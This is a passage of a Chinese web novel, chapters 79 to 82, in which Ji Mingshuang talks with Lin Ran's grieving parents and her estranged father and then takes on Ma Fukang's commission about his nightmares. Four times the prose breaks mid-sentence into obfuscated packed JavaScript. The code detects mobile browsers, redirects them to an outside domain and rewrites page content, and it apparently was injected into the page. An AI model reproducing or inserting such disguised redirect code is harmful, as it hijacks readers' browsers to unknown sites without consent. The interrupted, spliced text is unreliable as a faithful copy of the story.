林母说，“是啊，的确是这样，但当时的我并没有意识到这件事，小然刚刚被我接回来，纪大师也经常把你托付给我，在我眼里，你和小然都是我的孩子，也是在这个时期，我感受到了作为母亲的快乐。你刚来的那段时间，经常躲起来哭，小然总会陪着你，虽然你和小然同岁，但在你还有点迷糊的时候，小然已经开始尽量照顾你了，他当时给你系鞋带，那种系法我都没见过，不仅好系，又不容易散开，然后你们就一起去和别的小朋友玩耍了……小然出事的时候，我还在白黎山，直到上飞机的时候，我都觉得，只是一场小事故而已，我从来没想到小然会去世，这太突然了，我也从来没想过，我居然连他最后一面都没见到……” 说到这里的时候，林母的眼泪已经止不住了，林父连忙把她抱在怀里，“小霞，别哭了，如果小然现在还活着，他肯定……” “不要说了，我不是一个合格的母亲，我怎么配得上母亲这个词呢，我甚至都……我甚至都没有好好看看他，总是匆匆忙忙地回来，急急忙忙地离开。出事的那天，下飞机之后，我去了树莓中学的初中部，小然都高中毕业了，我居然连他的学校在哪都不知道，明明他前几天还联系过我，希望我参加他的毕业典礼，还附上了树莓中学高中部的具体地址，我、我看到了，但没有回复他，如果我当时没有找错地址，也许我还能见到小然的最后一面……” 这时，纪明霜看了林然一眼，林然也看了过来，他说，“我忘了……” 纪明霜在心里叹了口气。 林父小心地安抚着情绪有些激动的林母，“别哭了，小霞，那天，林然救了三个人，我们应该为他骄傲才对……” 纪明霜问道，“那个，林然的墓在哪里，我想去看看他……” 林母摇了摇头，“我也不知道，我父母把他带走了，我当初以死相逼，让他离小然远点，但我却没有好好照顾小然，依旧是那么任性，我父亲很生气，我不敢去见他……直到现在。这样吧，我把我爸爸的联系方式给你，如果可以的话，替我给小然送一束花吧。” 纪明霜点点头，“好，那个，你们还有什么想对他说的话吗？” 林父说，“事已至此，说什么也没用了，明霜，纪大师是我的朋友，也是我看着长大的，如果有什么事，记得来找我们，我们会尽量帮你的。” 林母也说，“我和你林叔叔商量过，如果你一辈子都没有恢复记忆，那就一辈子做我们的女儿，这样也不错。出事的那天，你昏迷不醒，做梦还一直哭呢，也是在那天，纪大师拜托我们照顾好你，我们实在没有拒绝的理由，我任性了大半辈子，从未承担过作为女儿、作为母亲的责任，对小然是这样，对你也是这样，希望你不要怪我们……” “没关系的，我很感谢你们照顾了我很久，我刚到你们家的时候，还有我从医院醒来的时候。”纪明霜从包包里拿出一串钥匙，“还有这个，还给你们。” “孩子，你拿着吧，这里也是你的家，只要你想，随时都能回来，只是，物是人非，确实感伤，我们只偶尔回来看看而已。”林母没有伸手去接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557822|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“说起来，我们进来的时候，看到门口的花盆被动过，当时就有些奇怪，没想到是你来了。” “嗯。” 房间里陷入了安静，纪明霜拧开瓶子，喝了一口果汁，嗯，是复合橙汁，甜甜的，很好喝。 林然安静地看着父母，轻声地说，“没关系的，我习惯了。” 纪明霜说，“那个，叔叔阿姨，别难过了，林然也不希望你们伤心吧……” “是啊，小然是个很懂事的孩子，因为他的父母非常任性，直到现在，我也只参加过两三次家长会而已，反正他是优等生，我只需要接受表扬并假模假样地分享一些教育心得就可以，就算不去参加，老师也不会说什么。”林母说，“但是我心里有愧啊……” 纪明霜也不知道要说什么好了，她坐在原地，不知所措，所以又喝了一口橙汁。 林然说，“行了，纪明霜，我们走吧。” “这样不好吧……”纪明霜小声地说。 林父说，“明霜，我们要离开了，你要不要一起走呢，你今晚住哪里，不是一个人吧？” “啊……我住江景酒店，嗯，有相熟的同事一起。” “好，那我开车送你过去？” 纪明霜没有拒绝，“嗯嗯，谢谢叔叔。” 回去的路上，纪明霜看着一盏盏路灯的光影从车窗外划过，这条路有些堵，总是走走停停，幸而江景酒店离得并不远，回到房间之后，纪明霜才松了口气，她躺在床上，打了个哈欠，“我好困啊，但我还得爬起来洗漱。” 林然：“我替你洗？” 纪明霜勉强爬了起来，“没关系，我自己来吧，明天还要去见他呢。” 用温水打湿脸颊，纪明霜总算清醒了一点，她看着镜子里的自己，“我现在有一种预感……” “什么？” “我觉得我周一可能得请假了……” 林然说，“也许吧。” 洗漱完毕之后，纪明霜躺在床上，盖好被子，对林然说，“江面的景色很漂亮，对吧。” “纪明霜，你该不会是为了我，才订这么贵的酒店吧……” 纪明霜想否认来着，但事实的确是这样啊。 如果是她一个人的话，住普通宾馆也没什么区别，只不过房间黑了些，冷了些，房间里的女鬼稍微吵了些。 “是啊，怎么，有意见吗？” 林然：“没有，这样挺好的。” 纪明霜的声音越来越小，“是啊，这里的床好软，好舒服，我已经快要睡着了……” “那就好好睡吧，晚安。” …… 第二天醒来之后，纪明霜收拾了东西，赶去了约定见面的地点——树莓公园门口的老式报刊亭前，这里有一些桌椅，桌面上刻着下象棋用的棋盘，这个时候基本没人来下棋，傍晚才是老头和老太太出没的时间。 纪明霜按时到了，对方也没有迟到，见纪明霜缓步走来，纪父有些失神，直到纪明霜走到他的对面坐下，他才说，“你和小真越来越像了……” 79. 第79章 考验 “是吗，我都不知道我居然有妈妈。”纪明霜坐在纪父的对面，但是石凳真的好凉，她又站了起来，“你现在怎么变成这样了？” “哦，我有什么变化吗？” “你的肤色变白了，整个人都变瘦了，看上去很没精神。” “唉，没办法，我可是费尽了千辛万苦才从精神病院逃出来。” 纪明霜：“……啊？” “哈哈哈哈，我是开玩笑的，我的精神出现问题之后，就去朋友开的精神病院住着了，你别说，还挺不错的，吃住都有人照顾，我只需要养好精神……”他猛烈地咳嗽几声，“咳、咳，但我现在已经不行了，想想还真没意思，我救了那么多人，但却救不了我的女儿……” “当年的事，到底是怎么回事？”纪明霜问道。 纪父却把目光放在了纪明霜怀里抱着的粉色公主洋娃娃上，“你以为我看不到你吗，出来吧。” 纪明霜：“想什么呢，他又不会听你的。” 纪父叹了口气，“唉……不得不说，你和我也蛮像的呢。” “别顾左右而言他，我想知道当年的事。” “当年啊……”纪父的目光放空，“从最开始讲起吧，我出生之后，就能看到别人看不到的东西，我只觉得新奇，从不觉得害怕。在那个年代，我吃不饱，穿不暖，更别提上学了，看着家里的四个小孩，我妈每天都发愁，那时，正好有一个老道士看上了我，他把我收为关门弟子，我就跟着他去道观生活了，他每个月还会给我一些零花钱，我都没花，全都攒着。我从他那里学到了很多有用的东西，他退休之后，我也下山了……” “等等。”纪明霜打断了他，“爸，你能不能讲重点啊。” “去你的吧，这些事不重要吗，我现在的精神越来越差了，也许以后都没机会说了呢，况且……” “况且？” “唉，算了，你听着就行了。我回乡之后，有只鬼上门找我，它跟我说了它的事，我就把事公之于众，然后我就有了名声，赚到了第一桶金，我想着，这钱还挺容易赚的，以后就靠这个活吧。” 纪明霜点点头，“我听说过这件事，他们跟我说，你下山之后，找到了一个失踪之人的尸骨，又断言他不是自杀，也不是意外死亡，而是死于他杀，还说出了很多关键线索，从此之后声名远扬。” 纪父挠了挠头，“他们吹得太过了，其实你也能做到，不是吗，‘那件事’发生之后，我终究还是怕了，做这行实在是太危险了，所以我从来没教过你……” 纪明霜：“哦。” “继续说吧，当时，我的事迹太少，名声太过，有很多人质疑我，其中包括一个很难缠的小记者。她不相信这个世界上有鬼，又很怕鬼，正好我收到一份委托，就邀请她一同前去，那是她第一次接触超自然现象，显然受到了不小的震撼，我看她失魂落魄的样子，心里不太放心，就把她送回家了。第二天早上，她给我打电话，说想辞职做我的助手，其实，嗯，我第一次见她的时候，就很喜欢她了，所以，我同意了她的请求，后来我们在一起了，她就是你的妈妈——靳尤真。” “那靳尤白是怎么回事？” “她是你的双胞胎妹妹。” “我已经猜出来了，我是问她身上的黑雾是怎么回事？” 纪父有些不满，“等等，你不要总打断我，我还没讲到这呢。” “那你快点讲吧。” “我和你妈妈，再加上阿何，我们三个合作，帮助了很多人，直到那只怨灵的出现……最开始的时候，我以为那只怨灵在你妈妈的身上，我努力了很久，但怨灵太强了，我、我没有办法，如果她出了意外，我也不愿独活，就在我一筹莫展的时候，转机出现了，原来她已经怀孕了，怨灵大概率是在孩子的身上。于是，我做出了决定，孩子可以没有，但你妈妈一定要活着，可是，她居然有两个孩子，我不知道怨灵到底在谁的身上，鬼可真是狡猾啊，我被骗得很彻底，我带着你，离开了你的妈妈和妹妹……” 纪明霜：“嗯……” 纪父继续说道，“我原本以为，我只是需要时间，也许是一年，也许是两年，等时间到了，我就能回到她的身边，但是我没能做到……你妈妈再婚了，王董是个好人，对小白也很好，这样也不错，对吧，她有体贴的丈夫，也有可爱的女儿，一家三口就这样幸福地生活着，而我也有你，我的女儿，我会想尽一切办法来救你，但那只怨魂居然挂在小白的身上，直到树莓中学火灾事故发生的当天，我才发现了这件事，但已经来不及了，小真她根本没那么坚强，如果她失去了小白……” “所以我们要怎么办，我也发现了她身上的异常，但我还发现，树莓中学火灾事故当天，她身上的怨气更黑更浓，也就是说，随着时间的流逝，她的情况已经有所改善了。” “但那不够，远远不够。”纪父摇了摇头，“我也有这样的发现……但这些根本不够，不要小瞧这些怨气，总有一天，这些怨气会突然爆发，而且我有预感，这一天已经快要到来了。” 纪明霜问道，“那我能帮什么忙吗？” “你现在唯一能做的就是不要插手，不要回到灰灰公寓，在多年以前，我在那里布置过阵法，进入灰灰公寓的鬼都不能离开，但这个阵法对当时的怨灵没有用，时隔多年，怨灵的力量有所下降，所以我想再试一次。” “灰灰……公寓？” 纪父点点头，“是的，在我布置阵法之前，灰灰公寓还是叫做白白公寓的，但是……唉，如果小白出了事，至少还有你在，对小真来说，也算是安慰吧。” “所以说，你的意思是，在‘那一天’到来之前，我都不能去见她？” 纪父以为纪明霜口中的‘她’是靳尤真，他长叹了一口气，“是啊，你的亲生母亲聪慧又美丽，如果你见了她，也会喜欢她的，但现在还没到相认的时候。在‘那一天’到来之前，让她们母女好好相处吧。” 纪明霜说，“对我来说，靳尤白不仅是妹妹，也是很重要的朋友，在她需要帮助的时候，我不想躲着不去见她，况且……” 纪明霜拿出了手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564942|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，手机屏幕上是她和靳尤白的聊天记录。 举头望明月（靳尤白）：霜霜，我来灰灰公寓啦！ 举头望明月（靳尤白）：妈妈正在和公寓的管理人员协商，我接下来会在这里住一段时间。 举头望明月（靳尤白）：你看，他们还在拉警戒线呢，甚至还特意把后门打开供我使用。 举头望明月（靳尤白）：（图片） 举头望明月（靳尤白）：不用学习，不用工作，好久没这么清闲啦。 举头望明月（靳尤白）：霜霜，其实我有点害怕。 举头望明月（靳尤白）：但只有一点点哦。 举头望明月（靳尤白）：幸亏我已经把信留给你了。 举头望明月（靳尤白）：霜霜，我好想你…… 纪父站了起来，直直地盯着手机屏幕，过了一会儿，他有些颓然地坐了回去，“我不是一个好父亲，没有照顾好你，也并不了解她……” 纪明霜：“知道就好。” 纪父怔怔地看着纪明霜，而后，他低下头，眼里满是落寞，“并不是我不相信你，但这实在是太难了，我一直在寻找解除诅咒的办法，但如你所见，我没有办法……在树莓中学火灾事故发生之前，我以为怨灵挂在你的身上，但我的身体和精神都在变差，所以，我把那半本手记留给了你，希望你能找到自救的办法……如果早知道有今天，我会把我的毕生所学都教给你，但现在已经来不及了……” 纪明霜从包包里拿出她的笔记本，她把笔记本里夹着的一张纸递给了纪父，“你喜欢把纸夹在书里的老毛病还是没有改啊，来之前，我回了趟家，发现了这个。” 纪父接过了这张纸，纸上是他的字迹，看清了纸上的内容之后，他的手有些发抖。 这是他给未出生的孩子起名字的时候留下的草稿，写下这些的时候，是刚结婚后不久，怀着对未来的期待，他写了很久，也选了很久，最后选中了最开始写下的名字。 于是，他写道：如果是个女孩，就起名叫‘明霜’。 纪明霜说，“我想知道，当年到底发生了什么，靳尤白身上的黑雾到底是从哪里来的，我有权利知道真相。” 纪父终于下定决心，他抬头看向纪明霜，“好吧，我只给你一次机会，我收到了一份委托，如果你能完成这份委托，我就把当年的事情全部告诉你，但小白的时间不多了，我给你的时间也不多，就限期三天吧。” 他从随身的公文包里翻了翻，拿出几杳钱来，很是引人注目，纪明霜：“爸，你在干什么，我们现在的样子就好像那个不法分子，你懂我的意思吗？” 纪父头也不抬地说，“行了，你先把钱拿走，好久没给你零花钱了，嗯……在这里。” 纪明霜把钱收起来，纪父从公文包里拿出一封皱巴巴的信件，“对，就是这份委托，内容蛮有趣的，不算简单，也不算很难，你去试试看吧。” 纪明霜接过信件看了一眼，没打开信封，她就知道委托的内容了。 因为委托人的署名是：马复康。 80. 第80章 拐杖 “爸，都这个时候了，能不能不要搞这些有的没的。” “说什么呢。”纪父说，“难道我会刻意为难你吗，只是，你要知道，一旦你选择打开这扇门，你就再也无法关上了，虽然这只是一封普通的委托信，一旦你接下了委托，委托人的身家性命就系在你的身上了。” 纪明霜：“但我只是一个普通打工人，也没这个能耐啊。” 纪父说，“你当然不这么觉得，但委托人会这么觉得啊，唉，你还小呢，时间到了，你就懂了，如果你像我一样，顶着大师的名头，去了委托人的家，委托人全家恨不得跪下来给你磕头，又是给钱，又是送礼的，你再一看委托人那惨样，要是你不把事情解决了，自己心里都过意不去，唉……” 纪明霜低头看着手里的委托信，“是吗……我记得他给你写了很多封信，你怎么只给我一封？” 纪父：“啊，你连这也知道？” 纪明霜点点头，“嗯，我去过他家，但他遮遮掩掩的，什么事都不肯说，后来还把我赶出去了。” 纪父：“这……你是认真的吗，你是我的女儿，还继承了我的天赋，你是不是有点差劲啊？” “没办法，我唯一擅长的事就是上班的时候摸鱼。” “……这点倒是随了你妈。” 纪明霜：“啊？” 纪父：“唉，早知道就好好教教你了，还有就是，那本手记，你有好好看吗？” 纪明霜把手记从包包里拿出来，“前面的部分还能看，后面的部分就越来越难懂了……” 纪父接过手记，翻了翻，“不是，这是人类写的字吗？” 纪明霜：“你说呢，这些不是你写的吗？” “唉，我当时跟‘那些东西’交流了很久，回来之后连人话都不会说了，我以为我慢慢恢复了，没想到精神状态变差之后，这些后遗症就又来了……” “这样做是很危险的。” “实际上，干我们这一行也是很危险的，但这也是没办法的事，要不是我的身体坚持不住了，我大概会干这一行干到老死吧。” “为什么会有后遗症呢？” 纪父翻到了讲义的某一页，这一页全都是各种各样看不懂的文字，“这一页，我原本写的是‘意识投射’的方法，如果你想知道过去发生的事，就要想办法把你的意识放到过去，也可以理解为对自己的一种催眠，你想知道的事情会通过潜意识传递到你的脑海中，所以你要尽量相信自己的直觉，最开始你的正确率可能不高，不过这个能力是可以练习的，如果你要入行，要走的路还很长……” “爸，我在问后遗症。” “哦哦，不好意思，说得有点远了，总之，就是经过‘意识投射’之后，或者在‘意识投射’之时进行一些诅咒或者术法的施行，身体会有一些不好的反应，比如某个感官或功能模块的失灵和彻底混乱，我和同行聊过这件事，因人而异吧，有的人会失明失聪，有的人会四肢瘫痪，而我呢，有一段时间，我不认得字，也不会写字，直到现在也没恢复好……不过，这些都只是暂时的，休息一段时间，就会自然康复。” “你在精神病院的时候，就是在做这个吗？” “嗯……有点超负荷，但是我已经没有别的办法了。” 纪明霜略加思考，“为什么不把‘意识投射’安排在梦里呢，这样就不会有后遗症了啊。” 纪父把目光从手记上移开，有些没反应过来，“啊？” 纪明霜，“难道你不是吗？” 纪父用力一拍大腿，“你怎么不早说，你还有这本事啊？” “你也没问过我啊。”纪明霜说，“我之前也在梦中附身别人，或者只是单纯地旁观，从而观测别人的记忆或者过去的事情，我觉得梦是一种很好的媒介。” 纪父有些愣愣地看着自己的女儿，眼里的讶异不似作假，他似乎用了一小段时间来消化这些信息，“好吧，我不得不承认，你比我更强，但是，你真的没有什么不适的感觉吗？” 纪明霜仔细地思考着：“没有啊，和平时睡觉没什么区别。” “真是惊人，你拥有这样强大的能力，却从未发挥出应有的实力，这是我的问题……” 太阳照在石凳上，已经晒了一段时间，纪明霜坐在了石凳上，嗯，还是很凉。 她打开了委托信，这封信里的内容和阿依发在群里的委托信件有所出入，但大致的内容都差不多，关于他隐瞒的事，瞒得很好，一句都没有提，只是一再恳求纪大师过来帮他，在信里，他说道：“……我再也无法忍受这样无穷无尽的错乱与癫狂，恨不得用死亡来结束这一切，但我还有我妈妈，我不能放弃生命……您是我唯一的希望了，我愿意出的委托价格是……如果您能抽空过来，这是我联系方式……” 纪明霜说，“好吧，我同意接下这份委托了。” 纪父说，“最后一条忠告，也是我的经验之谈，这件事并没有那么难，你要学着用心去感受……” 而后，一阵沉默。 纪父说，“你现在不是应该走了吗，你只有三天的时间。” 纪明霜说，“这个石凳子真的很凉。” 纪父：“所以呢？” 纪明霜问道，“你不走吗？” 纪父看了看四周，有些含糊的说，“不着急……” 纪明霜问道，“那家报刊亭已经不营业了，报刊亭门口怎么会放着一根拐杖？” 纪父说，“你问我干什么，我怎么知道？” 沉默了一会儿之后，纪父说，“那个，女儿，要不你帮我把拐杖拿过来吧……” 纪明霜走到报刊亭前，帮纪父把拐杖拿了过来，拐杖是轻便防滑的鸡翅木款式，实木打造，纹理清晰可见，触感温和，纪明霜把拐杖拿给了纪父，他接过拐杖，勉强支撑着站了起来，他的腿已经瘸了一条，他嘟囔着，“这石凳可真够凉的……” 纪明霜问，“爸，你的腿是怎么回事，这也是后遗症的一种吗？” 纪父摇了摇头，“不是，是我精神失常的时候，一不小心摔的，放心，只是骨裂，休养一段时间就会好。” 纪明霜点了点头，“行，那我先去调查了。” “行，如果那个委托人再赶你出来，你就告诉他，你是纪大师的女儿，还有就是，如果有疑问的话，可以给我打电话。” …… 谈话结束之后，纪明霜坐在公园外的长椅上发呆，“马复康啊……我现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570642|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在还是认为，他应该被是人下了什么诅咒之类的……” 林然说，“诅咒是有代价的。” “他认为他的诅咒是跟火灾有关，是不是那天发生了什么……理论上我们可以从火灾事件展开调查，但时间太短了，只有三天，我们去问问他吧，如果他什么都不说，我就给我爸爸打电话，让他给我换一份委托。” 林然：“好。” 去马复康家的路上，纪明霜又遇到了那个坐轮椅的女生子，隔着不远不近的距离，她似乎也看到了纪明霜，于是，她一个失神，又卡在了上次被卡住的地方。 虽然这里也有其他人，但纪明霜还是小跑着过去，帮她把轮椅推了过去，这次，她终于鼓起勇气，抬起头，笑着道谢，“那个，谢谢你……” 她的笑容温柔而腼腆，眼神却纯净，犹如一汪清泉，虽然坐着轮椅，行动不便，但她的衣服鞋子甚至头发都很整齐，她的美甲也很漂亮，平时应该是有人专职照顾的，但不知道为什么，纪明霜每次见到她，她都是孤零零的一个人，显得有些柔弱无助。 纪明霜觉得她有点眼熟，“那个，我们是不是在哪里见过？” 那个女生：“……啊？” “啊，抱歉，我们上周才见过的，不知道为什么，我好像突然问了奇怪的问题……” 那个女生摆摆手，“没关系的。” “你这次出来，是为了买东西吗？” 那个女生点点头。 “还是矿泉水吗？” 那个女生又点点头。 纪明霜给她买来一瓶水，她给纪明霜扫了一块钱，但纪明霜还有事要做，不能在这里久留，和女生分别之后，她按照阿依发在群里的信息，找到了马复康家。 到了他家门口，纪明霜敲了敲门，“你好，我是纪明霜，是受了纪大师的委托而来的。” 这次，马复康很快就来开了门，他倚着门框，眼神低沉而阴郁，“是你啊……你说，你是受了纪大师的委托？” 纪明霜点点头，“是的。” “你以为我会轻易相信你的花言巧语吗，我受够了，你们这些江湖骗子，只是想从我的嘴里听到些谈资罢了，根本没有人关心我的死活！” 纪明霜：“行了，发泄情绪的环节到此为止，确实是纪大师把你的委托转交给了我，但是，如果你不配合我的调查，我就不会再管你的事了。” “我、我凭什么相信你？” “爱信不信，我又不是你妈，我不会惯着你，如果你做了坏事，逃避是没有用的，把你所知道的事情说出来，我才能帮助你，不然，就算纪大师来了也没用。” “纪大师呢，你说你是受了他的委托，那他人呢？” 说着，马复康就要探出头左右张望，纪明霜说，“他的身体出了问题，已经没有办法帮你了，甚至可以这么说，他的情况比你的还要严重。” 马复康：“什么，你不是在骗我吧？” “我没有必要骗你，而且，如你所见，我的时间很紧，不想再听废话。”纪明霜直直地盯着他，“现在，请我进去，然后把你知道的事情完完整整、一字不落地告诉我，明白吗？” 马复康说，“好、好吧，请进……” 81. 第 81 章 这次，马复康显得礼貌多了，他请纪明霜进屋之后，还给纪明霜倒了茶，但纪明霜孤身一人来到这里，独居的屋主还有暴力倾向，她假装喝了一口茶，就开始谈话了，“可以说说吗，火灾的那天，到底发生了什么？” 马复康把翻倒的椅子扶了起来，坐在纪明霜的对面，“那个，嗯，必须要说吗？” 纪明霜：“你说呢？” “好、好吧，但是我得想想，慢慢地想想……”说着，马复康开始翻阅他提前准备好的资料，他翻到某一页，念道，“高二那年，我的同班有一个和我情投意合的女孩子，火灾的那天，她负责打扫卫生。她把自己关在了杂物间里，但那里有一只非常可怕的怪物，我们都听到了她的哭泣和尖叫，但我们都没办法帮助她，那只怪物实在是太可怕了……从此以后，我每天都忍受着良心的折磨和拷打，自责和愧疚都快把我逼疯了，我性情大变，从前的我，积极向上，阳光开朗，现在的我……” 纪明霜：“停，我不需要听到抒情的内容，那个女生的名字叫什么？” 马复康说，“我、我不敢说，我怕我会做噩梦。” 纪明霜又问道，“上次我和高大师他们一起过来的时候，也问了你问题，那天你做噩梦了吗？” “没、没有，但是隔了两天，我就又做了一场噩梦……” “隔了两天？”纪明霜问道，“在这两天里，你做了什么吗？” 马复康的脸色难看极了，“不知道，我什么都没有做，只是像一个精神病一样继续生活，哈，我的生活全部烂透了，这些噩梦，越来越频繁，越来越没规律，简直就像是刻意折磨我一样。” “火灾是发生在树莓中学的大礼堂，你当时在哪里？” 马复康说，“大礼堂二楼的走廊。” 纪明霜愣了一下，二楼啊。 “你知道当时的具体时间吗？” 马复康说，“不知道，我没注意。” “当时的火势如何？” “等等，我好像知道具体的时间，当时我离大礼堂很近，听到了那个主持人的说话声，还有那个大领导抢过话筒的声音，大概就是在那个时候。” “所以当时的火势如何？” “当时林然学长拉下了防火门，二楼是没有明火的，烟雾也不是很多，但我们能听到声音，还有奇怪的味道……” “所以，你认为，是因为你没救下那个女生，那个女生的鬼魂缠上了你，因此你开始做噩梦？” “嗯。”马复康说，“事情就是这样，纪、纪学姐，你有什么办法吗？” “我有没有办法，全看你的诚意，请诚实地作答，你说那个女生跟你情投意合，你和她当时的关系亲近吗？” “还、还好啦，就是没有表白，我感觉她是喜欢我的，而且我也很喜欢她……”马复康挠了挠头。 “你的感觉准确吗？”纪明霜问道，“我知道有些人会自我感觉比较良好……” “她、她是喜欢我的，虽然她没有说，不对，她、她是说过的，她是喜欢我的！” 纪明霜点了点头，“所以，你是说，在火势并不大的情况下，你把你喜欢并且喜欢你的女孩子丢下，自己逃跑了，你活了下来，而她死在了那场火灾里，而且她的死因不止是因为火灾，还有在火灾中出现的可怕怪物，你并没有和那个怪物打照面，但感受到了它的存在？” 马复康点点头，“是啊，我妈妈一直以为是我的精神出现了问题，所以带我去看了病，诊断结果完全正常，她又以为我是在装病，在朋友的建议下，把我送到了矫正学校，这当然没有用，那天，我在做噩梦的时候，差点把自己的舌头咬断了，教官看到也吓了一跳，于是把我送回了家，呵，这也算因祸得福吧……” “我刚刚问那个女生的名字，你是不能说，还是不愿意说？” “我不敢说，我怕做噩梦。” 纪明霜点了点头，“那我可以说吗？” “你知道吗？” “我这里有树莓中学的遇难者名单，你说她死在了火灾里，那她就应该在名单上。” 马复康说，“不对，她不在名单上。” 纪明霜：“那她死了吗？” “肯定是活不下来的。” “那她为什么不在名单上？” “林然也死了，他也不在遇难者名单上啊！”马复康的情绪有些激动，直接站了起来。 “林然啊……”纪明霜思忖着。 马复康有些怀疑地看着纪明霜，“怎么，你不会连林然都没听说过吧，你知道他获的那个奖的含金量吗，给我们秃头的数学老师高兴的，一直让我们向他学习呢……等等，你真的是树莓中学的学生吗，你不会是冒充的吧？” “停。”纪明霜把手里的茶杯重重放下，“爱信不信，我也不想自证，我接下来说的事才是重点。” “什么？” 纪明霜说，“我临走的时候，纪大师跟我说过，这件事没你想象的那么难。” 马复康的神情从疑惑变为惊诧，而后变为激动，眼里隐隐有泪光，“也就是说，你有办法救我？” “那个女生的名字。” “杨……杨梦知。” 纪明霜点点头，然后又问道，“你的生辰八字？” “这个……我也不知道啊。”马复康挠了挠头，“要不，我打电话问问我妈？” 纪明霜说，“行，快点。” 趁着马复康去打电话的时候，纪明霜也开始打电话，通话结束之后，马复康也回来了，他拿着手机说，“这个是我的生辰八字……” 而且，他看到纪明霜拿出一张黄纸、一小瓶红色的有颗粒的粉末，以及一瓶写着古法朱砂液的颜料，还有一支笔杆上写着‘小红毛’的毛笔，“纪、纪学姐，你这是？” 纪明霜解释道，“嗯，这个是普通黄纸，嗯，顾名思义，就是黄色的纸，这个粉末是我爸做的特制朱砂，非常好用，但不上色，这个朱砂颜料是他从网上买的，不太好用，但很上色，这两个得按比例混合一下……你能不能给我弄点自来水？” “嗯……纯净水可以吗？” “也行，快去。” 马复康给纪明霜倒了一杯纯净水，然后看着纪明霜拿出一个有盖子的黑色砚台开始调颜料，加点朱砂粉，加点朱砂液，嗯，太稠了，得再加一点水，一点点就够了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574030|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 调好颜料之后，纪明霜拿着毛笔，在纸上写了马复康的名字和生辰八字，马复康说，“嗯……纪学姐，你握笔的姿势好像不太专业。” 纪明霜一边写，一边说，“不重要，管用就行。” “这……能管用吗？” 纪明霜没有回答，写完之后，她把黄纸放到一边等着晾干。 “你之前说，杨梦知是被困在了二楼的储物间，但是，我这里有一个视频。”纪明霜拿出手机，开始播放从许远那里要来的视频，“这个男生当时在二楼救下了一个女生，时间应该是在你离开之后。” “什、什么，也就是说，杨梦知没死？” 纪明霜瞥了他一眼，“到底有没有出事，你当时有三个同伴，你们没有打听吗？” 马复康说，“出了这样的事，我们害怕极了，问都不敢多问……我转走之后，就直接注销了社交账号，连手机号也一并注销了，况且，学校的调查报告遮遮掩掩的，一点都不可信！” 视频播放完毕，马复康的脸色变得难看，神情像被人浇了一盆冰水一样冷然，“你是不是在骗我，视频里面被救出的那个女生，根本不是杨梦知！” 纪明霜说，“哦，我刚刚给录视频的男生打了电话，问了当时的情况，他把他救出的女生的联系方式给了我，我也给她打了电话。那个男生救出的女生确实不是杨梦知，但她是杨梦知的好朋友，她告诉我说，杨梦知没死，但出事之后就没来上学了，她很担心，就打电话问了情况，杨梦知说她还好，但她还是不放心，就去看望了杨梦知。” 马复康呆呆地看着空气，“……杨梦知她没死？” 纪明霜：“如果是这样的话，你被杨梦知的鬼魂缠上的假设就不存在了，她又没死，要是真的恨你见死不救，还不如把你套麻袋打一顿来得实在。” “可是，如果她没死的话，我为什么会做噩梦呢……难道说我的噩梦与她无关？” “这个嘛……倒也不一定。”纪明霜把晾干的黄纸拿了起来，又拿出一次性采血针，“是我来还是你自己来？” 但马复康却只是喃喃地重复着，“杨梦知没死，杨梦知没死……” 纪明霜把采血针放到他手里，又掏出了碘伏棉签，“这个棉签你会用吗？” “会、会的。”马复康接过了棉签，但没有任何动作，依旧呆立原地。 纪明霜：“那你就自己采血吧，然后滴到黄纸上，别滴到我写的字上了，明白吗？” 马复康这才反应过来，“那个，这个棉签要怎么用啊……” 纪明霜拿过棉签折了一下，白色的棉签头部顿时蘸满了碘伏，“给你，” 马复康采完血之后，纪明霜收起了黄纸，拿上包包，准备离开，“总之，如果事情有进展的话，我会打电话通知你的。” “你、你这就要走了？” 纪明霜点点头，“嗯，有重要的事要做。” “什么事？” 纪明霜：“睡觉。” 马复康：“啊？” 临走之前，纪明霜说，“纪大师跟我说过，委托人的描述总会自我美化，这些都是正常的，但是……你最好不要骗我。” 82. 第82章 红线 